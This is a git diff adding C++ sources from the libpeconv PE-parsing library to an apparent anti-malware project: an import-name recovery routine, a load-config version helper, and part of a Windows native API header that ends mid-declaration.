0000000..e8a9a5a --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/imports_uneraser.cpp @@ -0,0 +1,243 @@ +#include "peconv/imports_uneraser.h" + +#include + +using namespace peconv; + +LPVOID search_name(std::string name, const char* modulePtr, size_t moduleSize) +{ + const char* namec = name.c_str(); + const size_t searched_len = name.length() + 1; // with terminating NULL + const char* found_ptr = std::search(modulePtr, modulePtr + moduleSize, namec, namec + searched_len); + if (found_ptr == NULL) { + return NULL; + } + size_t o = found_ptr - modulePtr; + if (o < moduleSize) { + return (LPVOID)(found_ptr); + } + return NULL; +} + +bool ImportsUneraser::writeFoundDllName(IMAGE_IMPORT_DESCRIPTOR* lib_desc, const std::string &found_name) +{ +#ifdef _DEBUG + std::cout << "Found name:" << found_name << std::endl; +#endif + LPSTR name_ptr = (LPSTR)((ULONGLONG) modulePtr + lib_desc->Name); + size_t full_name_len = found_name.length() + 1; // with terminating zero + if (!validate_ptr(modulePtr, moduleSize, name_ptr, full_name_len)) { + //corner case: allow to save the name at the very end of the buffer, without the terminating zero + full_name_len--; + if (!validate_ptr(modulePtr, moduleSize, name_ptr, full_name_len)) { + return false; //invalid pointer, cannot save + } + } + memcpy(name_ptr, found_name.c_str(), full_name_len); + return true; +} + +bool ImportsUneraser::uneraseDllName(IMAGE_IMPORT_DESCRIPTOR* lib_desc, const std::string &dll_name) +{ + LPSTR name_ptr = nullptr; + if (lib_desc->Name != 0) { + name_ptr = (LPSTR)((ULONGLONG) modulePtr + lib_desc->Name); + } + if (name_ptr == nullptr || !validate_ptr(modulePtr, moduleSize, name_ptr, sizeof(char) * MIN_DLL_LEN)) { + //try to get the cave: + DWORD cave_size = DWORD(dll_name.length() + 1 + 5); //ending null + padding + PBYTE ptr = find_ending_cave(modulePtr, moduleSize, cave_size); + if (ptr == nullptr) { + std::cerr << "Cannot save the DLL name: " << dll_name << std::endl; + return false; + } + DWORD cave_rva = static_cast(ptr - modulePtr); + lib_desc->Name = cave_rva; + } + + if (writeFoundDllName(lib_desc, dll_name)) { + return true; // written the found name + } + return false; +} + +template +bool ImportsUneraser::findNameInBinaryAndFill(IMAGE_IMPORT_DESCRIPTOR* lib_desc, + LPVOID call_via_ptr, + LPVOID thunk_ptr, + const FIELD_T ordinal_flag, + std::map> &addr_to_func +) +{ + if (call_via_ptr == NULL || modulePtr == NULL || lib_desc == NULL) { + return false; //malformed input + } + IMAGE_DATA_DIRECTORY *importsDir = get_directory_entry((BYTE*)modulePtr, IMAGE_DIRECTORY_ENTRY_IMPORT); + if (!importsDir) return false; + + const DWORD impAddr = importsDir->VirtualAddress; //start of the import table + + FIELD_T *call_via_val = (FIELD_T*)call_via_ptr; + if (*call_via_val == 0) { + //nothing to fill, probably the last record + return false; + } + ULONGLONG searchedAddr = ULONGLONG(*call_via_val); + bool is_name_saved = false; + + FIELD_T lastOrdinal = 0; //store also ordinal of the matching function + std::set::iterator funcname_itr = addr_to_func[searchedAddr].begin(); + + for (funcname_itr = addr_to_func[searchedAddr].begin(); + funcname_itr != addr_to_func[searchedAddr].end(); + ++funcname_itr) + { + const ExportedFunc &found_func = *funcname_itr; + lastOrdinal = found_func.funcOrdinal; + + const char* names_start = ((const char*) modulePtr + impAddr); + BYTE* found_ptr = (BYTE*) search_name(found_func.funcName, names_start, moduleSize - (names_start - (const char*)modulePtr)); + if (!found_ptr) { + //name not found in the binary + //TODO: maybe it is imported by ordinal? + continue; + } + + const ULONGLONG name_offset = (ULONGLONG)found_ptr - (ULONGLONG)modulePtr; +#ifdef _DEBUG + //if it is not the first name from the list, inform about it: + if (funcname_itr != addr_to_func[searchedAddr].begin()) { + std::cout << ">[*][" << std::hex << searchedAddr << "] " << found_func.toString() << std::endl; + } + std::cout <<"[+] Found the name at: " << std::hex << name_offset << std::endl; +#endif + PIMAGE_IMPORT_BY_NAME imp_field = reinterpret_cast(name_offset - sizeof(WORD)); // substract the size of Hint + //TODO: validate more... + memcpy(thunk_ptr, &imp_field, sizeof(FIELD_T)); +#ifdef _DEBUG + std::cout << "[+] Wrote found to offset: " << std::hex << call_via_ptr << std::endl; +#endif + is_name_saved = true; + break; + } + //name not found or could not be saved - fill the ordinal instead: + if (!is_name_saved && lastOrdinal != 0) { +#ifdef _DEBUG + std::cout << "[+] Filling ordinal: " << lastOrdinal << std::endl; +#endif + FIELD_T ord_thunk = lastOrdinal | ordinal_flag; + memcpy(thunk_ptr, &ord_thunk, sizeof(FIELD_T)); + is_name_saved = true; + } + return is_name_saved; +} + +template +bool ImportsUneraser::writeFoundFunction(IMAGE_THUNK_DATA_T* desc, const FIELD_T ordinal_flag, const ExportedFunc &foundFunc) +{ + if (foundFunc.isByOrdinal) { + FIELD_T ordinal = foundFunc.funcOrdinal | ordinal_flag; + FIELD_T* by_ord = (FIELD_T*) desc; + *by_ord = ordinal; +#ifdef _DEBUG + std::cout << "[+] Saved ordinal" << std::endl; +#endif + return true; + } + + PIMAGE_IMPORT_BY_NAME by_name = (PIMAGE_IMPORT_BY_NAME) ((ULONGLONG) modulePtr + desc->u1.AddressOfData); + + LPSTR func_name_ptr = reinterpret_cast(by_name->Name); + std::string found_name = foundFunc.funcName; + bool is_nameptr_valid = validate_ptr(modulePtr, moduleSize, func_name_ptr, found_name.length()); + // try to save the found name under the pointer: + if (is_nameptr_valid) { + by_name->Hint = MASK_TO_WORD(foundFunc.funcOrdinal); + memcpy(func_name_ptr, found_name.c_str(), found_name.length() + 1); // with the ending '\0' +#ifdef _DEBUG + std::cout << "[+] Saved name" << std::endl; +#endif + return true; + } + return false; +} + +template +bool ImportsUneraser::fillImportNames( + IN OUT IMAGE_IMPORT_DESCRIPTOR* lib_desc, + IN const FIELD_T ordinal_flag, + IN std::map> &addr_to_func, + OUT OPTIONAL ImpsNotCovered* notCovered +) +{ + if (lib_desc == NULL) return false; + + FIELD_T call_via = lib_desc->FirstThunk; + if (call_via == NULL) return false; + + size_t processed_imps = 0; + size_t recovered_imps = 0; + + FIELD_T thunk_addr = lib_desc->OriginalFirstThunk; + if (thunk_addr == NULL) { + thunk_addr = call_via; + } + + BYTE* call_via_ptr = (BYTE*)((ULONGLONG)modulePtr + call_via); + BYTE* thunk_ptr = (BYTE*)((ULONGLONG)modulePtr + thunk_addr); + for (; + call_via_ptr != NULL && thunk_ptr != NULL; + call_via_ptr += sizeof(FIELD_T), thunk_ptr += sizeof(FIELD_T) + ) + { + FIELD_T *thunk_val = (FIELD_T*)thunk_ptr; + FIELD_T *call_via_val = (FIELD_T*)call_via_ptr; + if (*call_via_val == 0) { + //nothing to fill, probably the last record + break; + } + IMAGE_THUNK_DATA_T* desc = (IMAGE_THUNK_DATA_T*)thunk_ptr; + if (desc->u1.Function == NULL) { + break; + } + ULONGLONG searchedAddr = ULONGLONG(*call_via_val); + std::map>::const_iterator found_itr = addr_to_func.find(searchedAddr); + if (found_itr == addr_to_func.end() || found_itr->second.size() == 0) { + //not found, move on + if (notCovered) { + notCovered->insert((call_via_ptr - modulePtr), searchedAddr); + } + continue; + } + std::set::const_iterator funcname_itr = found_itr->second.begin(); + const peconv::ExportedFunc &foundFunc = *funcname_itr; + +#ifdef _DEBUG + std::cout << "[*][" << std::hex << searchedAddr << "] " << funcname_itr->toString() << std::endl; +#endif + bool is_name_saved = writeFoundFunction(desc, ordinal_flag, *funcname_itr); + if (!is_name_saved) { + is_name_saved = findNameInBinaryAndFill(lib_desc, call_via_ptr, thunk_ptr, ordinal_flag, addr_to_func); + } + processed_imps++; + if (is_name_saved) recovered_imps++; + } + + return (recovered_imps == processed_imps); +} + +bool ImportsUneraser::uneraseDllImports(IN OUT IMAGE_IMPORT_DESCRIPTOR* lib_desc, IN ImportedDllCoverage &dllCoverage, OUT OPTIONAL ImpsNotCovered* notCovered) +{ + //everything mapped, now recover it: + bool is_filled = false; + if (!is64) { + is_filled = fillImportNames(lib_desc, IMAGE_ORDINAL_FLAG32, dllCoverage.addrToFunc, notCovered); + } else { + is_filled = fillImportNames(lib_desc, IMAGE_ORDINAL_FLAG64, dllCoverage.addrToFunc, notCovered); + } + if (!is_filled) { + std::cerr << "[-] Could not fill some import names!" << std::endl; + return false; + } + return is_filled; +} diff --git a/ai_anti_malware/libpeconv/libpeconv/src/load_config_util.cpp b/ai_anti_malware/libpeconv/libpeconv/src/load_config_util.cpp new file mode 100644 index 0000000..b6be95f --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/load_config_util.cpp @@ -0,0 +1,57 @@ +#include "peconv/load_config_util.h" +#include "peconv/pe_hdrs_helper.h" + +BYTE* peconv::get_load_config_ptr(BYTE* buffer, size_t buf_size) +{ + if (!buffer || !buf_size) return nullptr; + IMAGE_DATA_DIRECTORY* dir = peconv::get_directory_entry(buffer, IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG); + if (!dir) { + return 0; + } + DWORD entry_rva = dir->VirtualAddress; + DWORD entry_size = dir->Size; + if (!peconv::validate_ptr(buffer, buf_size, buffer + entry_rva, entry_size)) { + return 0; + } + IMAGE_LOAD_CONFIG_DIRECTORY32* ldc = reinterpret_cast((ULONG_PTR)buffer + entry_rva); + return reinterpret_cast(ldc); +} + +peconv::t_load_config_ver peconv::get_load_config_version(BYTE* buffer, size_t buf_size, BYTE* ld_config_ptr) +{ + if (!buffer || !buf_size || !ld_config_ptr) peconv::LOAD_CONFIG_NONE; + bool is64b = peconv::is64bit(buffer); + + if (!peconv::validate_ptr(buffer, buf_size, ld_config_ptr, sizeof(peconv::IMAGE_LOAD_CONFIG_DIR32_W7))) { + return peconv::LOAD_CONFIG_NONE; + } + + peconv::IMAGE_LOAD_CONFIG_DIR32_W7* smallest = (peconv::IMAGE_LOAD_CONFIG_DIR32_W7*)ld_config_ptr; + const size_t curr_size = smallest->Size; + + if (is64b) { + switch (curr_size) { + case sizeof(peconv::IMAGE_LOAD_CONFIG_DIR64_W7) : + return peconv::LOAD_CONFIG_W7_VER; + case sizeof(peconv::IMAGE_LOAD_CONFIG_DIR64_W8) : + return peconv::LOAD_CONFIG_W8_VER; + case sizeof(peconv::IMAGE_LOAD_CONFIG_DIR64_W10) : + return peconv::LOAD_CONFIG_W10_VER; + default: + return LOAD_CONFIG_UNK_VER; + } + } + else { + switch (curr_size) { + case sizeof(peconv::IMAGE_LOAD_CONFIG_DIR32_W7) : + return peconv::LOAD_CONFIG_W7_VER; + case sizeof(peconv::IMAGE_LOAD_CONFIG_DIR32_W8) : + return peconv::LOAD_CONFIG_W8_VER; + case sizeof(peconv::IMAGE_LOAD_CONFIG_DIR32_W10) : + return peconv::LOAD_CONFIG_W10_VER; + default: + return LOAD_CONFIG_UNK_VER; + } + } + return LOAD_CONFIG_UNK_VER; +} diff --git a/ai_anti_malware/libpeconv/libpeconv/src/ntddk.h b/ai_anti_malware/libpeconv/libpeconv/src/ntddk.h new file mode 100644 index 0000000..e840dc5 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/ntddk.h @@ -0,0 +1,4302 @@ +#ifndef __NTDLL_H__ +#define __NTDLL_H__ + +#ifdef __cplusplus +extern "C" { +#endif +#include + +#ifdef _NTDDK_ +#error This header cannot be compiled together with NTDDK +#endif + + +#ifndef _NTDLL_SELF_ // Auto-insert the library +#pragma comment(lib, "Ntdll.lib") +#endif + +#pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union + +#pragma warning(push) +#pragma warning(disable:4005) +#include +#pragma warning(pop) + +//------------------------------------------------------------------------------ +// Defines for NTSTATUS + +typedef long NTSTATUS; + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) +#endif + +#ifndef STATUS_SUCCESS +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) +#endif + +#ifndef STATUS_UNSUCCESSFUL +#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L) +#endif + +#ifndef ASSERT +#ifdef _DEBUG +#define ASSERT(x) assert(x) +#else +#define ASSERT(x) /* x */ +#endif +#endif + +//------------------------------------------------------------------------------ +// Structures + +typedef enum _EVENT_TYPE +{ + NotificationEvent, + SynchronizationEvent + +} EVENT_TYPE; + +// +// ANSI strings are counted 8-bit character strings. If they are +// NULL terminated, Length does not include trailing NULL. +// + +#ifndef _NTSECAPI_ +typedef struct _STRING +{ + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; + +} STRING, *PSTRING; + +// +// Unicode strings are counted 16-bit character strings. If they are +// NULL terminated, Length does not include trailing NULL. +// + +typedef struct _UNICODE_STRING +{ + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; + +} UNICODE_STRING, *PUNICODE_STRING; +#endif // _NTSECAPI_ + +typedef STRING ANSI_STRING; +typedef PSTRING PANSI_STRING; + +typedef STRING OEM_STRING; +typedef PSTRING POEM_STRING; +typedef CONST STRING* PCOEM_STRING; + +typedef const UNICODE_STRING *PCUNICODE_STRING; + +#define UNICODE_NULL ((WCHAR)0) // winnt + +// +// Valid values for the Attributes field +// + +#ifndef OBJ_CASE_INSENSITIVE +#define OBJ_INHERIT 0x00000002L +#define OBJ_PERMANENT 0x00000010L +#define OBJ_EXCLUSIVE 0x00000020L +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define OBJ_OPENIF 0x00000080L +#define OBJ_OPENLINK 0x00000100L +#define OBJ_KERNEL_HANDLE 0x00000200L +#define OBJ_FORCE_ACCESS_CHECK 0x00000400L +#define OBJ_VALID_ATTRIBUTES 0x000007F2L + +// +// Object Attributes structure +// + +typedef struct _OBJECT_ATTRIBUTES +{ + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR + PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE + +} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; +#endif // OBJ_CASE_INSENSITIVE + +// +// IO_STATUS_BLOCK +// + +typedef struct _IO_STATUS_BLOCK +{ + union + { + NTSTATUS Status; + PVOID Pointer; + }; + + ULONG_PTR Information; + +} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; + +// +// ClientId +// + +typedef struct _CLIENT_ID +{ + HANDLE UniqueProcess; + HANDLE UniqueThread; + +} CLIENT_ID, *PCLIENT_ID; + + +// +// CURDIR structure +// + +typedef struct _CURDIR +{ + UNICODE_STRING DosPath; + HANDLE Handle; + +} CURDIR, *PCURDIR; + + +//------------------------------------------------------------------------------ +// Macros + +// INIT_UNICODE_STRING is a replacement of RtlInitUnicodeString +#ifndef INIT_UNICODE_STRING +#define INIT_UNICODE_STRING(us, wch) \ + us.MaximumLength = (USHORT)sizeof(wch); \ + us.Length = (USHORT)(wcslen(wch) * sizeof(WCHAR)); \ + us.Buffer = wch +#endif + + +#ifndef InitializeObjectAttributes +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ + } +#endif + + +#ifndef InitializePortHeader +#define InitializeMessageHeader( ph, l, t ) { \ + (ph)->TotalLength = (USHORT)(l); \ + (ph)->DataLength = (USHORT)(l - sizeof(PORT_MESSAGE)); \ + (ph)->Type = (USHORT)(t); \ + (ph)->VirtualRangesOffset = 0; \ + } +#endif + +//----------------------------------------------------------------------------- +// Image functions + +NTSYSAPI +PVOID +NTAPI +RtlImageNtHeader ( + IN PVOID BaseAddress + ); + +NTSYSAPI +PVOID +NTAPI +RtlImageDirectoryEntryToData ( + IN PVOID Base, + IN BOOLEAN MappedAsImage, + IN USHORT DirectoryEntry, + OUT PULONG Size + ); + +//----------------------------------------------------------------------------- +// Unicode string functions + +NTSYSAPI +NTSTATUS +NTAPI +RtlStringFromGUID( + IN REFGUID Guid, + OUT PUNICODE_STRING GuidString + ); + + +NTSYSAPI +VOID +NTAPI +RtlInitUnicodeString( + PUNICODE_STRING DestinationString, + PCWSTR SourceString + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlCreateUnicodeString( + OUT PUNICODE_STRING DestinationString, + IN PCWSTR SourceString + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlCreateUnicodeStringFromAsciiz( + OUT PUNICODE_STRING Destination, + IN PCSTR Source + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlPrefixUnicodeString ( + IN PUNICODE_STRING String1, + IN PUNICODE_STRING String2, + IN BOOLEAN CaseInSensitive + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlDuplicateUnicodeString( + IN BOOLEAN AllocateNew, + IN PUNICODE_STRING SourceString, + OUT PUNICODE_STRING TargetString + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlAppendUnicodeToString ( + PUNICODE_STRING Destination, + PCWSTR Source + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlAppendUnicodeStringToString( + IN OUT PUNICODE_STRING Destination, + IN PUNICODE_STRING Source + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeStringToInteger ( + IN PUNICODE_STRING String, + IN ULONG Base OPTIONAL, + OUT PULONG Value + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlIntegerToUnicodeString ( + IN ULONG Value, + IN ULONG Base OPTIONAL, + IN OUT PUNICODE_STRING String + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlGUIDFromString( + IN PUNICODE_STRING GuidString, + OUT GUID *Guid + ); + + +NTSYSAPI +LONG +NTAPI +RtlCompareUnicodeString ( + IN PUNICODE_STRING String1, + IN PUNICODE_STRING String2, + IN BOOLEAN CaseInSensitive + ); + + +NTSYSAPI +VOID +NTAPI +RtlCopyUnicodeString( + OUT PUNICODE_STRING DestinationString, + IN PUNICODE_STRING SourceString + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeString ( + OUT PUNICODE_STRING DestinationString, + IN PUNICODE_STRING SourceString, + IN BOOLEAN AllocateDestinationString + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlDowncaseUnicodeString ( + OUT PUNICODE_STRING DestinationString, + IN PUNICODE_STRING SourceString, + IN BOOLEAN AllocateDestinationString + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualUnicodeString ( + IN PUNICODE_STRING String1, + IN PUNICODE_STRING String2, + IN BOOLEAN CaseInSensitive + ); + + +NTSYSAPI +VOID +NTAPI +RtlFreeUnicodeString( + IN PUNICODE_STRING UnicodeString + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlAnsiStringToUnicodeString ( + OUT PUNICODE_STRING DestinationString, + IN PANSI_STRING SourceString, + IN BOOLEAN AllocateDestinationString + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeStringToAnsiString ( + OUT PANSI_STRING DestinationString, + IN PUNICODE_STRING SourceString, + IN BOOLEAN AllocateDestinationString + ); + + +NTSYSAPI +VOID +NTAPI +RtlInitAnsiString ( + OUT PANSI_STRING DestinationString, + IN PCHAR SourceString + ); + + +NTSYSAPI +VOID +NTAPI +RtlFreeAnsiString ( + IN PANSI_STRING AnsiString + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlFormatCurrentUserKeyPath( + OUT PUNICODE_STRING CurrentUserKeyPath + ); + + +NTSYSAPI +VOID +NTAPI +RtlRaiseStatus ( + IN NTSTATUS Status + ); + + +NTSYSAPI +VOID +NTAPI +DbgBreakPoint( + VOID + ); + + +NTSYSAPI +ULONG +_cdecl +DbgPrint ( + PCH Format, + ... + ); + + +NTSYSAPI +ULONG +NTAPI +RtlRandom( + IN OUT PULONG Seed + ); + +//----------------------------------------------------------------------------- +// Critical section functions + +NTSYSAPI +NTSTATUS +NTAPI +RtlInitializeCriticalSection( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + + +NTSYSAPI +BOOL +NTAPI +RtlTryEnterCriticalSection( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlEnterCriticalSection( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlLeaveCriticalSection( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteCriticalSection( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + +//----------------------------------------------------------------------------- +// Object functions + +// +// Object Manager Directory Specific Access Rights. +// + +#ifndef DIRECTORY_QUERY +#define DIRECTORY_QUERY (0x0001) +#define DIRECTORY_TRAVERSE (0x0002) +#define DIRECTORY_CREATE_OBJECT (0x0004) +#define DIRECTORY_CREATE_SUBDIRECTORY (0x0008) +#define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF) +#endif + +typedef enum _POOL_TYPE { + NonPagedPool, + PagedPool, + NonPagedPoolMustSucceed, + DontUseThisType, + NonPagedPoolCacheAligned, + PagedPoolCacheAligned, + NonPagedPoolCacheAlignedMustS, + MaxPoolType +} POOL_TYPE; + + +// +// For NtQueryObject +// + +typedef enum _OBJECT_INFORMATION_CLASS { + ObjectBasicInformation, // = 0 + ObjectNameInformation, // = 1 + ObjectTypeInformation, // = 2 + ObjectTypesInformation, // = 3 //object handle is ignored + ObjectHandleFlagInformation // = 4 +} OBJECT_INFORMATION_CLASS; + +// +// NtQueryObject uses ObjectBasicInformation +// + +typedef struct _OBJECT_BASIC_INFORMATION { + ULONG Attributes; + ACCESS_MASK GrantedAccess; + ULONG HandleCount; + ULONG PointerCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG Reserved[3]; + ULONG NameInfoSize; + ULONG TypeInfoSize; + ULONG SecurityDescriptorSize; + LARGE_INTEGER CreationTime; +} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION; + +// +// NtQueryObject uses ObjectNameInformation +// + +typedef struct _OBJECT_NAME_INFORMATION { + UNICODE_STRING Name; +} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION; + +// +// NtQueryObject uses ObjectTypeInformation +// + +typedef struct _OBJECT_TYPE_INFORMATION { + UNICODE_STRING TypeName; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + POOL_TYPE PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; +} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; + +// +// NtQueryObject uses ObjectHandleFlagInformation +// NtSetInformationObject uses ObjectHandleFlagInformation +// + +typedef struct _OBJECT_HANDLE_FLAG_INFORMATION { + BOOLEAN Inherit; + BOOLEAN ProtectFromClose; +} OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION; + +// +// NtQueryDirectoryObject uses this type +// + +typedef struct _OBJECT_DIRECTORY_INFORMATION { + UNICODE_STRING Name; + UNICODE_STRING TypeName; +} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION; + + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenDirectoryObject( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryDirectoryObject( + IN HANDLE DirectoryHandle, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN BOOLEAN RestartScan, + IN OUT PULONG Context, + OUT PULONG ReturnLength OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryObject ( + IN HANDLE ObjectHandle, + IN OBJECT_INFORMATION_CLASS ObjectInformationClass, + OUT PVOID ObjectInformation, + IN ULONG Length, + OUT PULONG ResultLength OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetInformationObject ( + IN HANDLE ObjectHandle, + IN OBJECT_INFORMATION_CLASS ObjectInformationClass, + IN PVOID ObjectInformation, + IN ULONG Length + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtDuplicateObject ( + IN HANDLE SourceProcessHandle, + IN HANDLE SourceHandle, + IN HANDLE TargetProcessHandle OPTIONAL, + OUT PHANDLE TargetHandle OPTIONAL, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Options + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQuerySecurityObject ( + IN HANDLE ObjectHandle, + IN SECURITY_INFORMATION SecurityInformation, + OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + IN ULONG DescriptorLength, + OUT PULONG ReturnLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetSecurityObject ( + IN HANDLE ObjectHandle, + IN SECURITY_INFORMATION SecurityInformation, + IN PSECURITY_DESCRIPTOR SecurityDescriptor + ); + + +//----------------------------------------------------------------------------- +// Handle table RTL functions + +#define LEVEL_HANDLE_ID 0x74000000 +#define LEVEL_HANDLE_ID_MASK 0xFF000000 +#define LEVEL_HANDLE_INDEX_MASK 0x00FFFFFF + +typedef enum _RTL_GENERIC_COMPARE_RESULTS { + GenericLessThan, + GenericGreaterThan, + GenericEqual +} RTL_GENERIC_COMPARE_RESULTS; + + +typedef struct _RTL_SPLAY_LINKS +{ + struct _RTL_SPLAY_LINKS *Parent; + struct _RTL_SPLAY_LINKS *LeftChild; + struct _RTL_SPLAY_LINKS *RightChild; +} RTL_SPLAY_LINKS, *PRTL_SPLAY_LINKS; + + +struct _RTL_GENERIC_TABLE; + +typedef +RTL_GENERIC_COMPARE_RESULTS +(NTAPI * PRTL_GENERIC_COMPARE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + PVOID FirstStruct, + PVOID SecondStruct + ); + +typedef +PVOID +(NTAPI *PRTL_GENERIC_ALLOCATE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + ULONG ByteSize + ); + +typedef +VOID +(NTAPI *PRTL_GENERIC_FREE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + PVOID Buffer + ); + + +typedef struct _RTL_GENERIC_TABLE { + PRTL_SPLAY_LINKS TableRoot; + LIST_ENTRY InsertOrderList; + PLIST_ENTRY OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine; + PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine; + PRTL_GENERIC_FREE_ROUTINE FreeRoutine; + PVOID TableContext; +} RTL_GENERIC_TABLE, *PRTL_GENERIC_TABLE; + + +typedef struct _RTL_HANDLE_TABLE_ENTRY +{ + struct _RTL_HANDLE_TABLE_ENTRY *Next; /* pointer to next free handle */ + PVOID Object; + +} RTL_HANDLE_TABLE_ENTRY, *PRTL_HANDLE_TABLE_ENTRY; + + +typedef struct _RTL_HANDLE_TABLE +{ + ULONG MaximumNumberOfHandles; + ULONG SizeOfHandleTableEntry; + ULONG Unknown01; + ULONG Unknown02; + PRTL_HANDLE_TABLE_ENTRY FreeHandles; + PRTL_HANDLE_TABLE_ENTRY CommittedHandles; + PRTL_HANDLE_TABLE_ENTRY UnCommittedHandles; + PRTL_HANDLE_TABLE_ENTRY MaxReservedHandles; +} RTL_HANDLE_TABLE, *PRTL_HANDLE_TABLE; + + +NTSYSAPI +VOID +NTAPI +RtlInitializeGenericTable ( + IN PRTL_GENERIC_TABLE Table, + IN PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine, + IN PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine, + IN PRTL_GENERIC_FREE_ROUTINE FreeRoutine, + IN PVOID TableContext + ); + + +NTSYSAPI +VOID +NTAPI +RtlInitializeHandleTable( + IN ULONG MaximumNumberOfHandles, + IN ULONG SizeOfHandleTableEntry, + OUT PRTL_HANDLE_TABLE HandleTable + ); + + +NTSYSAPI +PRTL_HANDLE_TABLE_ENTRY +NTAPI +RtlAllocateHandle( + IN PRTL_HANDLE_TABLE HandleTable, + OUT PULONG HandleIndex OPTIONAL + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlFreeHandle( + IN PRTL_HANDLE_TABLE HandleTable, + IN PRTL_HANDLE_TABLE_ENTRY Handle + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsValidIndexHandle( + IN PRTL_HANDLE_TABLE HandleTable, + IN ULONG HandleIndex, + OUT PRTL_HANDLE_TABLE_ENTRY *Handle + ); + + +NTSYSAPI +PVOID +NTAPI +RtlInsertElementGenericTable ( + IN PRTL_GENERIC_TABLE Table, + IN PVOID Buffer, + IN LONG BufferSize, + OUT PBOOLEAN NewElement OPTIONAL + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsGenericTableEmpty ( + IN PRTL_GENERIC_TABLE Table + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsGenericTableEmpty ( + IN PRTL_GENERIC_TABLE Table + ); + + +NTSYSAPI +PVOID +NTAPI +RtlLookupElementGenericTable ( + IN PRTL_GENERIC_TABLE Table, + IN PVOID Buffer + ); + + +NTSYSAPI +PVOID +NTAPI +RtlEnumerateGenericTableWithoutSplaying( + IN 